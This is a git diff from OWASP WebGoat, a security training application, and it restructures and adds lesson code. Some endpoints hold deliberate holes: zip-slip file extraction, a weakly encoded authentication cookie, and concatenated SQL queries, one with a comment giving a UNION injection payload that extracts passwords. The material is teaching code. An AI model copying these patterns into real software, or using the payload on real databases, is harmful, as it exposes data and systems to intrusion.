"path-traversal-zip-slip.hint3", + "path-traversal-zip-slip.hint4" +}) +@Slf4j +public class ProfileZipSlip extends ProfileUploadBase { + + public ProfileZipSlip( + @Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { + super(webGoatHomeDirectory, webSession); + } + + @PostMapping( + value = "/PathTraversal/zip-slip", + consumes = ALL_VALUE, + produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult uploadFileHandler(@RequestParam("uploadedFileZipSlip") MultipartFile file) { + if (!file.getOriginalFilename().toLowerCase().endsWith(".zip")) { + return failed(this).feedback("path-traversal-zip-slip.no-zip").build(); + } else { + return processZipUpload(file); + } + } + + @SneakyThrows + private AttackResult processZipUpload(MultipartFile file) { + var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName()); + cleanupAndCreateDirectoryForUser(); + var currentImage = getProfilePictureAsBase64(); + + try { + var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename()); + FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile()); + + ZipFile zip = new ZipFile(uploadedZipFile.toFile()); + Enumeration entries = zip.entries(); + while (entries.hasMoreElements()) { + ZipEntry e = entries.nextElement(); + File f = new File(tmpZipDirectory.toFile(), e.getName()); + InputStream is = zip.getInputStream(e); + Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); + } + + return isSolved(currentImage, getProfilePictureAsBase64()); + } catch (IOException e) { + return failed(this).output(e.getMessage()).build(); + } + } + + private AttackResult isSolved(byte[] currentImage, byte[] newImage) { + if (Arrays.equals(currentImage, newImage)) { + return failed(this).output("path-traversal-zip-slip.extracted").build(); + } + return success(this).output("path-traversal-zip-slip.extracted").build(); + } + + @GetMapping("/PathTraversal/zip-slip/") + @ResponseBody + public ResponseEntity getProfilePicture() { + return super.getProfilePicture(); + } + + @GetMapping("/PathTraversal/zip-slip/profile-image/{username}") + @ResponseBody + public ResponseEntity getProfilePicture(@PathVariable("username") String username) { + return ResponseEntity.notFound().build(); + } +} diff --git a/webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswords.java b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java similarity index 79% rename from webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswords.java rename to src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java index ec19fb832..99a62aeff 100644 --- a/webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswords.java +++ b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswords.java @@ -20,10 +20,10 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.secure_password; +package org.owasp.webgoat.lessons.securepasswords; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** @@ -33,13 +33,13 @@ import org.springframework.stereotype.Component; @Component public class SecurePasswords extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.AUTHENTICATION; - } + @Override + public Category getDefaultCategory() { + return Category.A7; + } - @Override - public String getTitle() { - return "secure-passwords.title"; - } + @Override + public String getTitle() { + return "secure-passwords.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java new file mode 100644 index 000000000..5b9932d36 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/securepasswords/SecurePasswordsAssignment.java @@ -0,0 +1,118 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.securepasswords; + +import com.nulabinc.zxcvbn.Strength; +import com.nulabinc.zxcvbn.Zxcvbn; +import java.text.DecimalFormat; +import java.text.DecimalFormatSymbols; +import java.util.Locale; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class SecurePasswordsAssignment extends AssignmentEndpoint { + + @PostMapping("SecurePasswords/assignment") + @ResponseBody + public AttackResult completed(@RequestParam String password) { + Zxcvbn zxcvbn = new Zxcvbn(); + StringBuilder output = new StringBuilder(); + DecimalFormat df = new DecimalFormat("0", DecimalFormatSymbols.getInstance(Locale.ENGLISH)); + df.setMaximumFractionDigits(340); + Strength strength = zxcvbn.measure(password); + + output.append("Your Password: *******
"); + output.append("Length: " + password.length() + "
"); + output.append( + "Estimated guesses needed to crack your password: " + + df.format(strength.getGuesses()) + + "
"); + output.append( + "

Score: " + + strength.getScore() + + "/4
"); + if (strength.getScore() <= 1) { + output.append( + "
 

"); + } else if (strength.getScore() <= 3) { + output.append( + "
 

"); + } else { + output.append( + "
 

"); + } + output.append( + "Estimated cracking time: " + + calculateTime( + (long) strength.getCrackTimeSeconds().getOnlineNoThrottling10perSecond()) + + "
"); + if (strength.getFeedback().getWarning().length() != 0) + output.append("Warning: " + strength.getFeedback().getWarning() + "
"); + // possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee + // maybe ask user to try also weak passwords to see and understand feedback? + if (strength.getFeedback().getSuggestions().size() != 0) { + output.append("Suggestions:
    "); + for (String sug : strength.getFeedback().getSuggestions()) + output.append("
  • " + sug + "
  • "); + output.append("

"); + } + output.append("Score: " + strength.getScore() + "/4
"); + + if (strength.getScore() >= 4) + return success(this).feedback("securepassword-success").output(output.toString()).build(); + else return failed(this).feedback("securepassword-failed").output(output.toString()).build(); + } + + public static String calculateTime(long seconds) { + int s = 1; + int min = (60 * s); + int hr = (60 * min); + int d = (24 * hr); + int yr = (365 * d); + + long years = seconds / (d) / 365; + long days = (seconds % yr) / (d); + long hours = (seconds % d) / (hr); + long minutes = (seconds % hr) / (min); + long sec = (seconds % min * s); + + return (years + + " years " + + days + + " days " + + hours + + " hours " + + minutes + + " minutes " + + sec + + " seconds"); + } +} diff --git a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java similarity index 71% rename from webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java rename to src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java index b126b44f9..f9552416e 100644 --- a/webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionAC.java +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookie.java @@ -1,7 +1,7 @@ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * - * Copyright (c) 2002 - 2019 Bruce Mayhew + * Copyright (c) 2002 - 2021 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the @@ -20,22 +20,28 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.missing_ac; +package org.owasp.webgoat.lessons.spoofcookie; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; +/*** + * + * @author Angel Olle Blazquez + * + */ + @Component -public class MissingFunctionAC extends Lesson { +public class SpoofCookie extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.ACCESS_CONTROL; - } + @Override + public Category getDefaultCategory() { + return Category.A1; + } - @Override - public String getTitle() { - return "missing-function-access-control.title"; - } + @Override + public String getTitle() { + return "spoofcookie.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java new file mode 100644 index 000000000..2efc739f6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/SpoofCookieAssignment.java @@ -0,0 +1,125 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie; + +import java.util.Map; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.spoofcookie.encoders.EncDec; +import org.springframework.web.bind.UnsatisfiedServletRequestParameterException; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +public class SpoofCookieAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "spoof_auth"; + private static final String COOKIE_INFO = + "Cookie details for user %s:
" + COOKIE_NAME + "=%s"; + private static final String ATTACK_USERNAME = "tom"; + + private static final Map users = + Map.of("webgoat", "webgoat", "admin", "admin", ATTACK_USERNAME, "apasswordfortom"); + + @PostMapping(path = "/SpoofCookie/login") + @ResponseBody + @ExceptionHandler(UnsatisfiedServletRequestParameterException.class) + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + if (StringUtils.isEmpty(cookieValue)) { + return credentialsLoginFlow(username, password, response); + } else { + return cookieLoginFlow(cookieValue); + } + } + + @GetMapping(path = "/SpoofCookie/cleanup") + public void cleanup(HttpServletResponse response) { + Cookie cookie = new Cookie(COOKIE_NAME, ""); + cookie.setMaxAge(0); + response.addCookie(cookie); + } + + private AttackResult credentialsLoginFlow( + String username, String password, HttpServletResponse response) { + String lowerCasedUsername = username.toLowerCase(); + if (ATTACK_USERNAME.equals(lowerCasedUsername) + && users.get(lowerCasedUsername).equals(password)) { + return informationMessage(this).feedback("spoofcookie.cheating").build(); + } + + String authPassword = users.getOrDefault(lowerCasedUsername, ""); + if (!authPassword.isBlank() && authPassword.equals(password)) { + String newCookieValue = EncDec.encode(lowerCasedUsername); + Cookie newCookie = new Cookie(COOKIE_NAME, newCookieValue); + newCookie.setPath("/WebGoat"); + newCookie.setSecure(true); + response.addCookie(newCookie); + return informationMessage(this) + .feedback("spoofcookie.login") + .output(String.format(COOKIE_INFO, lowerCasedUsername, newCookie.getValue())) + .build(); + } + + return informationMessage(this).feedback("spoofcookie.wrong-login").build(); + } + + private AttackResult cookieLoginFlow(String cookieValue) { + String cookieUsername; + try { + cookieUsername = EncDec.decode(cookieValue).toLowerCase(); + } catch (Exception e) { + // for providing some instructive guidance, we won't return 4xx error here + return failed(this).output(e.getMessage()).build(); + } + if (users.containsKey(cookieUsername)) { + if (cookieUsername.equals(ATTACK_USERNAME)) { + return success(this).build(); + } + return failed(this) + .feedback("spoofcookie.cookie-login") + .output(String.format(COOKIE_INFO, cookieUsername, cookieValue)) + .build(); + } + + return failed(this).feedback("spoofcookie.wrong-cookie").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java new file mode 100644 index 000000000..d5aa4cf7d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/spoofcookie/encoders/EncDec.java @@ -0,0 +1,88 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.spoofcookie.encoders; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import org.apache.commons.lang3.RandomStringUtils; +import org.springframework.security.crypto.codec.Hex; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +public class EncDec { + + // PoC: weak encoding method + + private static final String SALT = RandomStringUtils.randomAlphabetic(10); + + private EncDec() {} + + public static String encode(final String value) { + if (value == null) { + return null; + } + + String encoded = value.toLowerCase() + SALT; + encoded = revert(encoded); + encoded = hexEncode(encoded); + return base64Encode(encoded); + } + + public static String decode(final String encodedValue) throws IllegalArgumentException { + if (encodedValue == null) { + return null; + } + + String decoded = base64Decode(encodedValue); + decoded = hexDecode(decoded); + decoded = revert(decoded); + return decoded.substring(0, decoded.length() - SALT.length()); + } + + private static String revert(final String value) { + return new StringBuilder(value).reverse().toString(); + } + + private static String hexEncode(final String value) { + char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8)); + return new String(encoded); + } + + private static String hexDecode(final String value) { + byte[] decoded = Hex.decode(value); + return new String(decoded); + } + + private static String base64Encode(final String value) { + return Base64.getEncoder().encodeToString(value.getBytes()); + } + + private static String base64Decode(final String value) { + byte[] decoded = Base64.getDecoder().decode(value.getBytes()); + return new String(decoded); + } +} diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionAdvanced.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java similarity index 78% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionAdvanced.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java index 2b195b6ae..aa2492703 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionAdvanced.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionAdvanced.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.advanced; +package org.owasp.webgoat.lessons.sqlinjection.advanced; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class SqlInjectionAdvanced extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.INJECTION; - } + @Override + public Category getDefaultCategory() { + return Category.A3; + } - @Override - public String getTitle() { - return "2.sql.advanced.title"; - } + @Override + public String getTitle() { + return "2.sql.advanced.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java new file mode 100644 index 000000000..95f86ca02 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallenge.java @@ -0,0 +1,104 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.sql.*; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@AssignmentHints( + value = {"SqlInjectionChallenge1", "SqlInjectionChallenge2", "SqlInjectionChallenge3"}) +@Slf4j +public class SqlInjectionChallenge extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionChallenge(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PutMapping("/SqlInjectionAdvanced/challenge") + // assignment path is bounded to class so we use different http method :-) + @ResponseBody + public AttackResult registerNewUser( + @RequestParam String username_reg, + @RequestParam String email_reg, + @RequestParam String password_reg) + throws Exception { + AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg); + + if (attackResult == null) { + + try (Connection connection = dataSource.getConnection()) { + String checkUserQuery = + "select userid from sql_challenge_users where userid = '" + username_reg + "'"; + Statement statement = connection.createStatement(); + ResultSet resultSet = statement.executeQuery(checkUserQuery); + + if (resultSet.next()) { + if (username_reg.contains("tom'")) { + attackResult = success(this).feedback("user.exists").build(); + } else { + attackResult = failed(this).feedback("user.exists").feedbackArgs(username_reg).build(); + } + } else { + PreparedStatement preparedStatement = + connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)"); + preparedStatement.setString(1, username_reg); + preparedStatement.setString(2, email_reg); + preparedStatement.setString(3, password_reg); + preparedStatement.execute(); + attackResult = success(this).feedback("user.created").feedbackArgs(username_reg).build(); + } + } catch (SQLException e) { + attackResult = failed(this).output("Something went wrong").build(); + } + } + return attackResult; + } + + private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) { + if (StringUtils.isEmpty(username_reg) + || StringUtils.isEmpty(email_reg) + || StringUtils.isEmpty(password_reg)) { + return failed(this).feedback("input.invalid").build(); + } + if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) { + return failed(this).feedback("input.invalid").build(); + } + return null; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java new file mode 100644 index 000000000..bdfcc88f2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionChallengeLogin.java @@ -0,0 +1,71 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlInjectionChallengeHint1", + "SqlInjectionChallengeHint2", + "SqlInjectionChallengeHint3", + "SqlInjectionChallengeHint4" + }) +public class SqlInjectionChallengeLogin extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionChallengeLogin(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/challenge_Login") + @ResponseBody + public AttackResult login( + @RequestParam String username_login, @RequestParam String password_login) throws Exception { + try (var connection = dataSource.getConnection()) { + var statement = + connection.prepareStatement( + "select password from sql_challenge_users where userid = ? and password = ?"); + statement.setString(1, username_login); + statement.setString(2, password_login); + var resultSet = statement.executeQuery(); + + if (resultSet.next()) { + return ("tom".equals(username_login)) + ? success(this).build() + : failed(this).feedback("ResultsButNotTom").build(); + } else { + return failed(this).feedback("NoResultsMatched").build(); + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java new file mode 100644 index 000000000..313c73910 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6a.java @@ -0,0 +1,116 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.sql.*; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.introduction.SqlInjectionLesson5a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-advanced-6a-1", + "SqlStringInjectionHint-advanced-6a-2", + "SqlStringInjectionHint-advanced-6a-3", + "SqlStringInjectionHint-advanced-6a-4", + "SqlStringInjectionHint-advanced-6a-5" + }) +public class SqlInjectionLesson6a extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + private static final String YOUR_QUERY_WAS = "
Your query was: "; + + public SqlInjectionLesson6a(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/attack6a") + @ResponseBody + public AttackResult completed(@RequestParam(value = "userid_6a") String userId) { + return injectableQuery(userId); + // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from + // user_system_data -- + } + + public AttackResult injectableQuery(String accountName) { + String query = ""; + try (Connection connection = dataSource.getConnection()) { + boolean usedUnion = true; + query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'"; + // Check if Union is used + if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) { + usedUnion = false; + } + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) { + ResultSet results = statement.executeQuery(query); + + if ((results != null) && results.first()) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); + + String appendingWhenSucceded; + if (usedUnion) + appendingWhenSucceded = + "Well done! Can you also figure out a solution, by appending a new SQL Statement?"; + else + appendingWhenSucceded = + "Well done! Can you also figure out a solution, by using a UNION?"; + results.last(); + + if (output.toString().contains("dave") && output.toString().contains("passW0rD")) { + output.append(appendingWhenSucceded); + return success(this) + .feedback("sql-injection.advanced.6a.success") + .feedbackArgs(output.toString()) + .output(" Your query was: " + query) + .build(); + } else { + return failed(this).output(output.toString() + YOUR_QUERY_WAS + query).build(); + } + } else { + return failed(this) + .feedback("sql-injection.advanced.6a.no.results") + .output(YOUR_QUERY_WAS + query) + .build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage() + YOUR_QUERY_WAS + query).build(); + } + } catch (Exception e) { + return failed(this) + .output(this.getClass().getName() + " : " + e.getMessage() + YOUR_QUERY_WAS + query) + .build(); + } + } +} diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java similarity index 50% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java index 5d78368a9..5cf42437f 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionLesson6b.java @@ -1,4 +1,3 @@ - /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * @@ -21,62 +20,61 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.advanced; - -import org.owasp.webgoat.LessonDataSource; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestParam; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; +package org.owasp.webgoat.lessons.sqlinjection.advanced; import java.io.IOException; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; - +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class SqlInjectionLesson6b extends AssignmentEndpoint { - private final LessonDataSource dataSource; + private final LessonDataSource dataSource; - public SqlInjectionLesson6b(LessonDataSource dataSource) { - this.dataSource = dataSource; + public SqlInjectionLesson6b(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionAdvanced/attack6b") + @ResponseBody + public AttackResult completed(@RequestParam String userid_6b) throws IOException { + if (userid_6b.equals(getPassword())) { + return success(this).build(); + } else { + return failed(this).build(); } + } - @PostMapping("/SqlInjectionAdvanced/attack6b") - @ResponseBody - public AttackResult completed(@RequestParam String userid_6b) throws IOException { - if (userid_6b.equals(getPassword())) { - return success(this).build(); - } else { - return failed(this).build(); + protected String getPassword() { + String password = "dave"; + try (Connection connection = dataSource.getConnection()) { + String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'"; + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if (results != null && results.first()) { + password = results.getString("password"); } + } catch (SQLException sqle) { + sqle.printStackTrace(); + // do nothing + } + } catch (Exception e) { + e.printStackTrace(); + // do nothing } - - protected String getPassword() { - String password = 